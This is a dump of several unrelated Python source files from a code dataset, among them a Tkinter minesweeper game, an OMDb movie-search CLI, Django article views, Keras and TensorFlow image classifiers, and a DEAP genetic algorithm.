featureMatrix = np.zeros((h * w, featureNum))\n\n countIdx = 0\n for featureIm in featureListSelected:\n featureMatrix[:, countIdx] = featureIm.reshape((h*w))\n countIdx = countIdx + 1\n\n correlationMatrix = np.zeros((featureNum, featureNum))\n corrPairs = []\n corrNamePairs = []\n for i in range(featureNum):\n for j in range(featureNum):\n corr, pVal = pearsonr(featureMatrix[:,i],featureMatrix[:,j])\n correlationMatrix[i][j] = corr\n if (abs(corr) > 0.8):\n if (i > j):\n corrPairs.append((i,j, corr))\n corrNamePairs.append((featureListNmSelected[i],featureListNmSelected[j], corr))\n print(\"correlation Matrix:\")\n print(correlationMatrix)\n print(\"idx pairs with >0.8 |correlation|\")\n print(corrPairs)\n print(\"name pairs with >0.8 |correlation|\")\n for p in corrNamePairs:\n print(p)\nplt.matshow(featureMatrix, alpha=1.0, zorder=10, fignum=1)#cmap='Greys'\n\nplt.show()\n","sub_path":"src/featureSelection.py","file_name":"featureSelection.py","file_ext":"py","file_size_in_byte":5674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"6479583","text":"from Tkinter import *\nfrom game import Game\n\n\nclass GUIGame:\n\n easylevel = 1\n mediumlevel = 2\n hardlevel = 3\n\n def __init__(self, root):\n \"\"\" Initialize the UI window. \"\"\"\n\n # register the Tkinter instance with the class\n self.root = root\n\n # make an empty variable for the game\n self.game = Game(10, 2, self, False)\n\n # make the application frame\n self.frame = Frame(self.root)\n self.frame.grid()\n\n # set the title\n self.titlevariable = StringVar()\n self.titlevariable.set(\"DakotaSweeper!\")\n self.title = Label(self.frame, textvariable=self.titlevariable)\n self.title.grid(row=0, column=1)\n\n # create an empty array that will hold the grid of buttons\n self.mines = []\n\n # create variable to hold current board size\n self.currentsize = 10\n\n # create a 10 x 10 default board\n for r in range(self.currentsize):\n row = []\n frames = []\n grd = Frame(self.frame)\n for c in range(self.currentsize):\n\n btn = Button(grd, text=\" \", command=lambda x=c, y=r: self.call_button(x, y))\n btn.grid(row=r, column=c)\n row.append(btn)\n grd.grid(row=r, column=0)\n frames.append(grd)\n self.mines.append(row)\n\n # label the options menu\n self.options = Label(self.frame, text=\"Options:\")\n self.options.grid(row=1, column=1)\n\n # label for sizes\n self.sizelabel = Label(self.frame, text=\"Size:\")\n self.sizelabel.grid(row=2, column=1)\n\n # variable for storing selected size\n self.size = IntVar()\n\n # the buttons for xs, s, m, l, and xl board sizes\n self.xs = Radiobutton(self.frame, text=\"XS\", variable=self.size, value=10)\n self.xs.grid(row=3, column=1)\n self.s = Radiobutton(self.frame, text=\"S\", variable=self.size, value=15)\n self.s.grid(row=3, column=2)\n self.m = Radiobutton(self.frame, text=\"M\", variable=self.size, value=20)\n self.m.grid(row=3, column=3)\n self.l = Radiobutton(self.frame, text=\"L\", variable=self.size, value=25)\n self.l.grid(row=3, column=4)\n self.xl = Radiobutton(self.frame, text=\"XL\", variable=self.size, value=30)\n self.xl.grid(row=3, column=5)\n\n # label for difficulty\n self.difficultylabel = Label(self.frame, text=\"Difficulty:\")\n self.difficultylabel.grid(row=4, column=1)\n\n # variable for storing difficulty\n self.difficulty = IntVar()\n\n # the buttons for easy, medium and hard\n self.easy = Radiobutton(self.frame, text=\"Easy\", variable=self.difficulty, value=self.easylevel)\n self.easy.grid(row=5, column=1)\n self.medium = Radiobutton(self.frame, text=\"Medium\", variable=self.difficulty, value=self.mediumlevel)\n self.medium.grid(row=5, column=2)\n self.hard = Radiobutton(self.frame, text=\"Hard\", variable=self.difficulty, value=self.hardlevel)\n self.hard.grid(row=5, column=3)\n\n # the button to start a new game\n self.newgame = Button(self.frame, text=\"Start New Game!\", command=self.run)\n self.newgame.grid(row=6, column=1)\n\n # leave space at bottom\n self.spacer = Label(self.frame, text=\"\")\n self.spacer.grid(row=self.currentsize + 1, column=0)\n\n def get_game(self):\n \"\"\" Returns the game currently being played. \"\"\"\n\n return self.game\n\n def get_button(self, x, y):\n \"\"\" Returns a button by its x/y coordinate on the grid. \"\"\"\n\n return self.mines[y][x]\n\n def call_button(self, x, y):\n \"\"\" Method that activates a button and clears the corresponding space on the board. \"\"\"\n\n self.get_game().get_board().pick(x, y)\n self.show_seen()\n\n def show_seen(self):\n \"\"\" Disables and reveals all buttons that have been seen in the game. \"\"\"\n\n for r in range(self.currentsize):\n for c in range(self.currentsize):\n if self.get_game().get_board().get_space(r, c).get_seen():\n self.get_button(r, c).config(\n text=str(self.get_game().get_board().get_space(r, c).get_val()))\n self.get_button(r, c).config(fg='red')\n\n\n def lose(self):\n \"\"\" Called when the game is lost, allowing the user to start a new game. \"\"\"\n\n self.titlevariable.set(\"Dude, you suck, play again?\")\n\n for r in range(self.currentsize):\n for c in range(self.currentsize):\n self.get_button(r, c).config(\n text=str(self.get_game().get_board().get_space(r, c).get_val()))\n self.get_button(r, c).config(state=DISABLED)\n\n def win(self):\n \"\"\" Called when the game is won, allowing the user to start a new game. \"\"\"\n\n self.titlevariable.set(\"You won! Play again?\")\n\n for r in range(self.currentsize):\n for c in range(self.currentsize):\n self.get_button(r, c).config(\n text=str(self.get_game().get_board().get_space(r, c).get_val()))\n self.get_button(r, c).config(state=DISABLED)\n\n def run(self):\n \"\"\" Runs a new game from the window. \"\"\"\n\n # check to ensure valid difficulty and sizes are checked\n if 5 <= self.size.get() <= 30 and 1 <= self.difficulty.get() <= 3:\n self.game = Game(self.size.get(), self.difficulty.get(), self, False)\n\n # remove all buttons from the grid\n\n for r in self.mines:\n for c in r:\n c.grid_remove()\n\n # set current size\n self.currentsize = self.size.get()\n\n # reset the grid to be empty\n self.mines = []\n\n # build the mine grid\n for r in range(self.currentsize):\n row = []\n frames = []\n grd = Frame(self.frame)\n for c in range(self.currentsize):\n btn = Button(grd, text=\" \", command=lambda x=c, y=r: self.call_button(x, y))\n btn.grid(row=r, column=c)\n row.append(btn)\n grd.grid(row=r, column=0)\n frames.append(grd)\n self.mines.append(row)\n\n self.titlevariable.set(\"DakotaSweeper!\")\n\n# to run the GUI\nroot = Tk()\nroot.wm_title(\"DAKOTASWEEPER\")\ngui = GUIGame(root)\nroot.mainloop()","sub_path":"oods/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"340620822","text":"import requests\r\nimport json\r\nimport sys\r\n#sokTermer = []\r\nsavedVal = []\r\n\r\n\r\nclass meny():\r\n def __init__(self): \r\n self.sh = SokHistorik()\r\n self.movieSearch = MovieDB(self.sh)\r\n self.Meny()\r\n\r\n def Meny(self):\r\n \r\n while True:\r\n choice = input('\\n1)Välj film\\n2)Visa senaste sökningar\\n3)Avsluta\\n') \r\n if choice == '1':\r\n self.movieSearch.SearchFilm()\r\n elif choice == '2':\r\n l = self.sh.historiken()\r\n for a in l:\r\n print('1, ' + a)\r\n \r\n value = input('Välj sökterm')\r\n self.movieSearch.search(l[int(value)])\r\n\r\n SokHistorik()\r\n DoubleMeny()\r\n #print('1)Visa information om senaste sökningar\\n2)Visa information om vald sökt film\\n')\r\n elif choice == '3':\r\n break\r\n else:\r\n break\r\n\r\nclass MovieDB():\r\n global savedVal\r\n def __init__(self, sh):\r\n self.sh = sh\r\n\r\n def SearchFilm(self):\r\n try:\r\n iput = input('Sök\\n')\r\n self.sh.AddTerm(iput)\r\n self.search(iput)\r\n\r\n except: print('försök igen')\r\n\r\n def search(self, iput):\r\n #sokTermer.append(iput) + ', '\r\n try:\r\n search = requests.get(f'http://www.omdbapi.com/?i=tt3896198&apikey=3dde47b4&s={iput}')\r\n data = search.json()\r\n except: print('oj')\r\n try: \r\n with open('hej.json', 'w', encoding=\"utf-8\") as big:\r\n json.dump(data, big, ensure_ascii=False, indent=2)\r\n except FileNotFoundError as error:\r\n print(error)\r\n \r\n lol = data['Search']\r\n count = 0\r\n for i in lol:\r\n count +=1\r\n print(count,')',i['Title'],i['Year']) \r\n nsearch = int(input('Skriv siffran på filmen du vill ha\\n'))\r\n try:\r\n with open('hej.json', 'r', encoding=\"utf-8\") as jsonfil1:\r\n searchRes = json.load(jsonfil1)\r\n filmVal = searchRes.get('Search')[nsearch-1]\r\n savedVal.append(filmVal)\r\n idGetFilm = filmVal[\"imdbID\"]\r\n newSearch = requests.get(f\"http://www.omdbapi.com/?i={idGetFilm}&apikey=3dde47b4\")\r\n newData = newSearch.json()\r\n except FileNotFoundError:\r\n print(FileNotFoundError)\r\n try:\r\n with open('savedsearch.json', 'w', encoding=\"utf-8\") as jsonfil2:\r\n json.dump(newData, jsonfil2, ensure_ascii=False, indent=2)\r\n except FileNotFoundError:\r\n print(FileNotFoundError)\r\n print(LastSearch())\r\n\r\n\r\n\r\n\r\nclass LastSearch():\r\n def __init__(self):\r\n self.serHist()\r\n def serHist(self):\r\n with open('savedsearch.json', 'r', encoding='utf-8') as file_read:\r\n p = json.load(file_read)\r\n IDplacehold = p['imdbID']\r\n print(\"\\nNamn: \",p['Title'],\"\\nRelease: \",p[\"Released\"],\"\\nIMDB rating: \",p[\"imdbRating\"],f\"\\nLänk: https://www.imdb.com/title/{IDplacehold}/?ref_=hm_fanfav_tt_3_pd_fp1\",\"\\nGenre: \",p[\"Genre\"],\"\\nSkådepselare: \",p[\"Actors\"],\"\\nTyp: \",p['Type'],\"\\nBild: \",p['Poster'],\"\\nStory: \",p[\"Plot\"])\r\n\r\n\r\nclass SokHistorik():\r\n\r\n def __init__(self):\r\n self.sokTermer = []\r\n self.historiken()\r\n \r\n def AddTerm(self, value):\r\n self.sokTermer.append(value)\r\n\r\n def historiken(self):\r\n return self.sokTermer\r\n #for s in self.sokTermer:\r\n # print(s)\r\n \r\n # if value in sokTermer:\r\n # ind = value.strip('\"\\[]')\r\n # history.append(ind)\r\n # histlist = []\r\n # histdict = {}\r\n # histlist = sokTermer\r\n # histdict = histlist\r\n # hero = json.dumps(histdict)\r\n # # for i in sokTermer:\r\n # # histlist.append({i[0]})\r\n # try:\r\n # with open('historiksok', 'w', encoding=\"utf-8\") as jsonfil3:\r\n # json.dump(hero, jsonfil3, ensure_ascii=False, indent=2)\r\n # except FileNotFoundError:\r\n # print(FileNotFoundError)\r\n\r\nclass DoubleMeny(): \r\n def __init__(self):\r\n self.menyTva()\r\n\r\n def menyTva(self):\r\n choice = input('\\n1)Visa info om senaste sökningar\\n2)Visa info om senast vald sökning\\n3)Gå tillbaka\\n')\r\n while True:\r\n if choice == '1':\r\n #print(\"\\nNamn: \",savedVal[0],\"\\nRelease: \",savedVal[1],\"\\nID: \",savedVal[2],\"\\nTyp: \",savedVal[3],\"\\nBild: \",savedVal[4])\r\n print(savedVal)\r\n self.menyTva() \r\n break\r\n elif choice == '2':\r\n LastSearch()\r\n self.menyTva()\r\n break\r\n elif choice == '3':\r\n meny()\r\n else:\r\n self.menyTva()\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nsokHist = SokHistorik()","sub_path":"pythonlabb3/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"130011602","text":"from django.shortcuts import render\n\nfrom django.http import HttpRequest\nfrom django.http import HttpResponse\nfrom django.http import QueryDict\n\nimport json\n\n# 允许跨域\nfrom django.views.decorators.csrf import csrf_exempt\n\n# from regs import models\nfrom regs.models import Article\n# from regs.models import ArticleManager\n\n\n# from django.http import HttpResponseRedirect\n# from django.shortcuts import render\n# from .forms import ModelFormWithFileField\n\n# https://docs.djangoproject.com/en/1.9/topics/http/file-uploads/#handling-uploaded-files-with-a-model\n# def upload_file(request):\n# if request.method == 'POST':\n# form = ModelFormWithFileField(request.POST, request.FILES)\n# if form.is_valid():\n# # file is saved\n# form.save()\n# return HttpResponseRedirect('/success/url/')\n# else:\n# form = ModelFormWithFileField()\n# return render(request, 'upload.html', {'form': form})\n\n\n\n\n# Create your views here.\n\ndef allowCsrf(rsp):\n Origin = \"*\"\n Methods = \"POST, GET, OPTIONS\"\n MaxAge = \"86400\"\n Headers = \"*\"\n rsp[\"Access-Control-Allow-Origin\"] = Origin\n rsp[\"Access-Control-Allow-Methods\"] = Methods\n rsp[\"Access-Control-Max-Age\"] = MaxAge\n rsp[\"Access-Control-Allow-Headers\"] = Headers\n return rsp\n\ndef index(req):\n response = HttpResponse('Server Is Runing~')\n response = allowCsrf(response)\n return response\n\n@csrf_exempt\ndef djcsrf(req):\n _id = req.GET.get('articleId')\n _out = int(_id)\n _article = Article.objects.get_article_json_req(req=req)\n rsp = HttpResponse(_article.title)\n rsp = allowCsrf(rsp)\n return rsp\n\n@csrf_exempt\ndef save_article(req):\n pass\n\n@csrf_exempt\ndef save_article_json(req):\n if req.method == 'GET':\n rsp = HttpResponse('这里不是你该来的地方')\n rsp = allowCsrf(rsp)\n return rsp\n elif req.method == 'POST':\n # rsp = HttpResponse('GET POST REQ')\n article = Article.objects.save_article_json_req(req=req)\n rsp = HttpResponse(json.dumps({'title':article.title, 'content':article.content, 'articleId':article.id}), content_type=\"application/json\")\n rsp = allowCsrf(rsp)\n return rsp\n return rsp\n\n\n@csrf_exempt\ndef get_articles_json(req):\n if req.method == 'GET':\n _articles = Article.objects.get_articles_json_req(req=req)\n # _list = _articles\n rsp = HttpResponse( json.dumps(list(_articles)), content_type=\"application/json\")\n # rsp = HttpResponse('page' in req.GET)\n rsp = allowCsrf(rsp)\n return rsp\n elif req.method == 'POST':\n rsp = HttpResponse('GET POST REQ')\n rsp = allowCsrf(rsp)\n return rsp\n return rsp\n\n@csrf_exempt\ndef get_article_json(req):\n if req.method == 'GET':\n _article = Article.objects.get_article_json_req(req=req)\n rsp = HttpResponse(json.dumps({'title':_article.title, 'content':_article.content, 'articleId':_article.id}), content_type=\"application/json\")\n # rsp = HttpResponse(_article.title)\n rsp = allowCsrf(rsp)\n return rsp\n elif req.method == 'POST':\n rsp = HttpResponse('GET POST REQ')\n rsp = allowCsrf(rsp)\n return rsp\n return rsp\n\n\n@csrf_exempt\ndef get_article(req):\n pass\n\n@csrf_exempt\ndef img_upload(req):\n if req.method == 'POST':\n ImageStore.objects.save_img_req(req)\n","sub_path":"regs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"129413213","text":"from keras.models import Sequential\r\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\r\nfrom keras.layers.core import Activation, Flatten, Dense\r\nfrom keras import backend as K\r\nfrom keras.optimizers import Adam\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nimport matplotlib.pyplot as plt\r\n\r\nimport numpy as np\r\nimport dataset_tool\r\n\r\ninit_lr = 1e-3\r\nEPOCHS = 50\r\nbs = 32\r\n\r\n\r\nimport six\r\nfrom keras.models import Model\r\nfrom keras.layers import (\r\n Input,\r\n Activation,\r\n Dense,\r\n Flatten\r\n )\r\n\r\nfrom keras.layers.convolutional import (\r\n Conv2D,\r\n MaxPooling2D,\r\n AveragePooling2D\r\n )\r\n\r\nfrom keras.layers.merge import add\r\nfrom keras.layers.normalization import BatchNormalization\r\nfrom keras.regularizers import l2\r\nfrom keras import backend as K\r\n\r\ndef _bn_relu(input):\r\n norm = BatchNormalization(axis=CHANNEL_AXIS)(input)\r\n return Activation('relu')(norm)\r\n\r\ndef _conv_bn_relu(**conv_params):\r\n filters = conv_params['filters']\r\n kernel_size = conv_params['kernel_size']\r\n strides = conv_params.setdefault('strides', (1, 1))\r\n kernel_initializer = conv_params.setdefault('kernel_initializer', 'he_normal')\r\n padding = conv_params.setdefault('padding', 'same')\r\n kernel_regularizer = conv_params.setdefault('kernel_regularizer', l2(1.e-4))\r\n\r\n def f(input):\r\n conv = Conv2D(filters=filters, kernel_size=kernel_size, strides=strides, padding=padding, kernel_initializer=kernel_initializer, kernel_regularizer=kernel_regularizer)(input)\r\n\r\n return _bn_relu(conv)\r\n\r\n return f\r\n\r\ndef _bn_relu_conv_(**conv_params):\r\n filters = conv_params['filters']\r\n kernel_size = conv_params['kernel_size']\r\n strides = conv_params.setdefault('strides', (1, 1))\r\n kernel_initializer = conv_params.setdefault('kernel_initializer', 'he_normal')\r\n padding = conv_params.setdefault('padding', 'same')\r\n kernel_regularizer = conv_params.setdefault('kernel_regularizer', l2(1.e-4))\r\n\r\n def f(input):\r\n activation = _bn_relu(input)\r\n return Conv2D(filters=filters, kernel_size=kernel_size, strides=strides, padding=padding, kernel_initializer=kernel_initializer, kernel_regularizer=kernel_regularizer)(activation)\r\n\r\n return f\r\n\r\ndef _shortcut(input, residual):\r\n input_shape = K.int_shape(input)\r\n residual_shape = K.int_shape(residual)\r\n stride_width = int(round(input_shape[ROW_AXIS] / residual_shape[ROW_AXIS]))\r\n stride_height = int(round(input_shape[COL_AXIS] / residual_shape[COL_AXIS]))\r\n equal_channels = input_shape[CHANNEL_AXIS] == residual_shape[CHANNEL_AXIS]\r\n\r\n shortcut = input\r\n if stride_width > 1 or stride_height > 1 or not equal_channels:\r\n shortcut = Conv2D(filters=residual_shape[CHANNEL_AXIS], kernel_size=(1, 1), strides=(stride_width, stride_height), padding='valid', kernel_initializer='he_normal', kernel_regularizer=l2(0.0001))(input)\r\n\r\n return add([shortcut, residual])\r\n\r\ndef _residual_block(block_function, filters, repetitions, is_first_layer=False):\r\n def f(input):\r\n for i in range(repetitions):\r\n init_strides = (1, 1)\r\n if i == 0 and not is_first_layer:\r\n init_strides = (2, 2)\r\n input = block_function(filters=filters, init_strides=init_strides, is_first_block_of_first_layer=(is_first_layer and i == 0))(input)\r\n\r\n return input\r\n return f\r\n\r\n\r\ndef _handle_dim_ordering():\r\n global ROW_AXIS\r\n global COL_AXIS\r\n global CHANNEL_AXIS\r\n if K.image_dim_ordering() == 'tf':\r\n ROW_AXIS = 1\r\n COL_AXIS = 2\r\n CHANNEL_AXIS = 3\r\n else:\r\n CHANNEL_AXIS = 1\r\n ROW_AXIS = 2\r\n COL_AXIS = 3\r\n\r\ndef basic_block(filters, init_strides=(1, 1), is_first_block_of_first_layer=False):\r\n def f(input):\r\n if is_first_block_of_first_layer:\r\n conv1 = Conv2D(filters=filters, kernel_size=(3, 3), strides=init_strides, padding='same', kernel_initializer='he_normal', kernel_regularizer=l2(1e-4))(input)\r\n else:\r\n conv1 = _bn_relu_conv_(filters=filters, kernel_size=(3, 3), strides=init_strides)(input)\r\n\r\n residual = _bn_relu_conv_(filters=filters, kernel_size=(3, 3), strides=init_strides)(input)\r\n\r\n return _shortcut(input, residual)\r\n\r\n return f\r\n\r\ndef bottleneck(filters, init_strides=(1, 1), is_first_block_of_first_layer=False):\r\n def f(input):\r\n if is_first_block_of_first_layer:\r\n conv_1_1 = Conv2D(filters=filters, kernel_size=(1, 1), strides=init_strides, padding='same', kernel_initializer='he_normal', kernel_regularizer=l2(1e-4))(input)\r\n\r\n else:\r\n conv_1_1 = _bn_relu_conv_(filters=filters, kernel_size=(1, 1), strides=init_strides)(input)\r\n\r\n conv_3_3 = _bn_relu_conv_(filters=filters, kernel_size=(3, 3))(conv_1_1)\r\n residual = _bn_relu_conv_(filters=filters * 4, kernel_size=(1, 1))(conv_3_3)\r\n return _shortcut(input, residual)\r\n\r\n return f\r\n\r\ndef _get_block(identifier):\r\n if isinstance(identifier, six.string_types):\r\n res = globals().get(identifier)\r\n if not res:\r\n raise ValueError('Invalid {}'.format(identifier))\r\n return res\r\n return identifier\r\n\r\nclass ResnetBuilder(object):\r\n @staticmethod\r\n def build(input_shape, num_outputs, block_fn, repetitions):\r\n _handle_dim_ordering()\r\n if len(input_shape) != 3:\r\n raise Exception('Input shape should be a tuple (nb_channels, nb_rows, nb_cols)')\r\n if K.image_dim_ordering() == 'tf':\r\n input_shape = (input_shape[1], input_shape[2], input_shape[0])\r\n\r\n block_fn = _get_block(block_fn)\r\n\r\n input = Input(shape=input_shape)\r\n conv1 = _conv_bn_relu(filters=64, kernel_size=(7, 7), strides=(2, 2))(input)\r\n pool1 = MaxPooling2D(pool_size=(3, 3), strides=(2, 2), padding='same')(conv1)\r\n\r\n block = pool1\r\n filters = 64\r\n for i, r in enumerate(repetitions):\r\n block = _residual_block(block_fn, filters=filters, repetitions=r, is_first_layer=(i == 0))(block)\r\n filters *= 2\r\n\r\n block = _bn_relu(block)\r\n\r\n block_shape = K.int_shape(block)\r\n pool2 = AveragePooling2D(pool_size=(block_shape[ROW_AXIS], block_shape[COL_AXIS]), strides=(1, 1))(block)\r\n flatten1 = Flatten()(pool2)\r\n\r\n dense = Dense(units=num_outputs, kernel_initializer='he_normal', activation='softmax')(flatten1)\r\n\r\n model = Model(inputs=input, outputs=dense)\r\n return model\r\n\r\n @staticmethod\r\n def build_resnet_18(input_shape, num_outputs):\r\n return ResnetBuilder.build(input_shape, num_outputs, basic_block, [2, 2, 2, 2])\r\n\r\n def build_resnet_34(input_shape, num_outputs):\r\n return ResnetBuilder.build(input_shape, num_outputs, basic_block, [3, 4, 6, 3])\r\n\r\n def build_resnet_50(input_shape, num_outputs):\r\n return ResnetBuilder.build(input_shape, num_outputs, bottleneck, [3, 4, 6, 3])\r\n\r\n def build_resnet_101(input_shape, num_outputs):\r\n return ResnetBuilder.build(input_shape, num_outputs, bottleneck, [3, 4, 23, 3])\r\n\r\n def build_resnet_152(input_shape, num_outputs):\r\n return ResnetBuilder.build(input_shape, num_outputs, bottleneck, [3, 8, 36, 3])\r\n\r\nclass Triffic_Net:\r\n @staticmethod\r\n def build(width, height, depth, classes):\r\n model = Sequential()\r\n inputShape = (height, width, depth)\r\n\r\n if K.image_data_format() == 'channels_first':\r\n inputShape = (depth, height, width)\r\n\r\n model.add(Conv2D(20, (5, 5), padding='same', input_shape=inputShape))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n model.add(Conv2D(50, (5, 5), padding='same'))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n model.add(Conv2D(50, (5, 5), padding='same'))\r\n model.add(Activation('relu'))\r\n #model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n model.add(Flatten())\r\n model.add(Dense(500))\r\n model.add(Activation('relu'))\r\n\r\n model.add(Dense(classes))\r\n model.add(Activation('softmax'))\r\n model.summary()\r\n\r\n return model\r\n\r\ndef train(aug, trainX, trainY, testX, testY):\r\n print('[INFO] compiling model...')\r\n model = Triffic_Net.build(width=dataset_tool.image_size, height=dataset_tool.image_size, depth=3, classes=dataset_tool.CLASSES_NUM)\r\n #model = ResnetBuilder.build_resnet_152((3, dataset_tool.image_size, dataset_tool.image_size), dataset_tool.CLASSES_NUM)\r\n opt = Adam(lr=init_lr, decay=init_lr / EPOCHS)\r\n\r\n model.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['accuracy'])\r\n\r\n print('[INFO] training work...')\r\n\r\n H = model.fit_generator(aug.flow(trainX, trainY, batch_size=bs), validation_data=(testX, testY), steps_per_epoch=len(trainX) // bs, epochs=EPOCHS, verbose=1)\r\n\r\n print('[INFO] serializing network...')\r\n\r\n model.save('class.model')\r\n\r\n plt.style.use('ggplot')\r\n plt.figure()\r\n N = EPOCHS\r\n\r\n plt.plot(np.arange(0, N), H.history['loss'], label='train_loss')\r\n plt.plot(np.arange(0, N), H.history['val_loss'], label='val_loss')\r\n plt.plot(np.arange(0, N), H.history['acc'], label='train_acc')\r\n plt.plot(np.arange(0, N), H.history['val_acc'], label='val_acc')\r\n\r\n plt.title(\"Training loss and accuracy on traffic-sign classifier\")\r\n plt.xlabel('Epoch #')\r\n plt.ylabel('Loss/Accuracy')\r\n plt.legend(loc='lower left')\r\n\r\n\r\nif __name__ == '__main__':\r\n train_path = 'D:/BaiduNetdiskDownload/traffic-sign/train'\r\n test_path = 'D:/BaiduNetdiskDownload/traffic-sign/test'\r\n\r\n trainx, trainy = dataset_tool.load_data(train_path)\r\n testx, testy = dataset_tool.load_data(test_path)\r\n\r\n aug = ImageDataGenerator(rotation_range=30, width_shift_range=0.1, height_shift_range=0.1, shear_range=0.2, zoom_range=0.2, horizontal_flip=True, fill_mode='nearest')\r\n\r\n train(aug, trainx, trainy, testx, testy)\r\n\r\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"407862161","text":"import random\r\n\r\nfrom deap import base\r\nfrom deap import creator\r\nfrom deap import tools\r\n\r\nind_number = 50\r\n\r\ndef uni_dis(ind, indpb):\r\n for i in range(len(ind)):\r\n if random.random() < indpb:\r\n ind_list = []\r\n for j in range(ind_number):\r\n ind_list.append(random.uniform(0, 1))\r\n if sum(ind_list) / ind_number >= 0.5:\r\n ind[i] = 1\r\n else:\r\n ind[i] = 0\r\n\r\n return ind,\r\n\r\ncreator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\r\ncreator.create(\"Individual\", list, fitness=creator.FitnessMax)\r\n\r\ntoolbox = base.Toolbox()\r\n\r\ntoolbox.register(\"attr_bool\", random.randint, 0, 1)\r\ntoolbox.register(\"individual\", tools.initRepeat, creator.Individual, toolbox.attr_bool, ind_number)\r\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\r\n\r\ndef evaluation(individual):\r\n return sum(individual),\r\n\r\ntoolbox.register(\"evaluate\", evaluation)\r\ntoolbox.register(\"mate\", tools.cxTwoPoint)\r\ntoolbox.register(\"mutate\", uni_dis, indpb=0.05)\r\ntoolbox.register(\"select\", tools.selTournament, tournsize=3)\r\n\r\n\r\ndef main():\r\n random.seed(64)\r\n pop = toolbox.population(n=100) #個体数\r\n CXPB = 0.5 #交叉率\r\n MUTPB = 0.05 #突然変異率\r\n NGEN = 20 #世代数\r\n \r\n print(\"=======Start=======\")\r\n\r\n fitnesses = list(map(toolbox.evaluate, pop))\r\n for ind, fit in zip(pop, fitnesses):\r\n ind.fitness.values = fit\r\n \r\n print(\" Evaluated %i individuals\" % len(pop))\r\n \r\n for g in range(NGEN):\r\n print(\"-- Generation %i --\" % g)\r\n \r\n offspring = toolbox.select(pop, len(pop))\r\n offspring = list(map(toolbox.clone, offspring))\r\n\r\n for child1, child2 in zip(offspring[::2], offspring[1::2]):\r\n\r\n if random.random() < CXPB:\r\n toolbox.mate(child1, child2)\r\n del child1.fitness.values\r\n del child2.fitness.values\r\n\r\n for mutant in offspring:\r\n if random.random() < MUTPB:\r\n toolbox.mutate(mutant)\r\n del mutant.fitness.values\r\n\r\n invalid_ind = [ind for ind in offspring if not ind.fitness.valid]\r\n fitnesses = map(toolbox.evaluate, invalid_ind)\r\n for ind, fit in zip(invalid_ind, fitnesses):\r\n ind.fitness.values = fit\r\n \r\n print(\"Evaluated %i individuals\" % len(invalid_ind))\r\n \r\n pop[:] = offspring\r\n \r\n fits = [ind.fitness.values[0] for ind in pop]\r\n \r\n length = len(pop)\r\n mean = sum(fits) / length\r\n sum2 = sum(x*x for x in fits)\r\n \r\n print(\"Min %s\" % min(fits))\r\n print(\"Max %s\" % max(fits))\r\n print(\"Avg %s\" % mean)\r\n \r\n print(\"=======End=======\")\r\n \r\n best_ind = tools.selBest(pop, 1)[0]\r\n print(\"Best individual is %s, %s\" % (best_ind, best_ind.fitness.values))\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"210708/2210104039/GA_repo.py","file_name":"GA_repo.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"232991020","text":"##lenet-5训练过程\nimport os\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\n \nimport mnist_inference\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\nconfig = tf.ConfigProto()\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.8\nsession = tf.Session(config=config)\n\n##配置神经网络的参数\nBATCH_SIZE=100\nLEARNING_RATE_BASE=0.01 #基础学习率\nLEARNING_RATE_DECAY=0.99\nREGULARAZTION_RATE=0.0001\nTRAINING_STEPS=30000\nMOVING_AVERAGE_DECAY=0.99\n##模型保存的路径和文件名\nMODEL_SAVE_PATH=\"./model/\"\nMODEL_NAME=\"model.ckpt\"\n \n##定义训练过程\ndef train(mnist):\n x=tf.placeholder(tf.float32,[\n BATCH_SIZE,\n mnist_inference.IMAGE_SIZE,\n mnist_inference.IMAGE_SIZE,\n mnist_inference.NUM_CHANNELS],\n name='x-input')\n \n \n y_ = tf.placeholder(tf.float32, [None, mnist_inference.OUTPUT_NODE] , name='y-input') \n regularizer=tf.contrib.layers.l2_regularizer(REGULARAZTION_RATE)\n y=mnist_inference.inference(x,True,regularizer)\n global_step=tf.Variable(0,trainable=False)\n #给定滑动平均衰减率和训练轮数的变量,初始化滑动平均类\n variable_averages=tf.train.ExponentialMovingAverage(MOVING_AVERAGE_DECAY,global_step)\n \n #在所有代表神经网络参数的变量上使用滑动平均。\n variables_averages_op=variable_averages.apply(tf.trainable_variables())\n \n #计算使用了滑动平均之后的前向传播结果。\n #average_y=inference(x,variable_average2,weights1,biases1,weights2,biases2)\n \n #计算交叉熵作为刻画预测值和真实值之间差距的损失函数\n #cross_entropy=tf.nn.sparse_softmax_cross_entropy_with_logits(y,tf.argmax(y_,1))\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=y, labels=tf.argmax(y_,1)) \n #计算在当前batch中所有样例的交叉熵平均值\n \n cross_entropy_mean=tf.reduce_mean(cross_entropy)\n \n #计算L2正则化损失函数\n 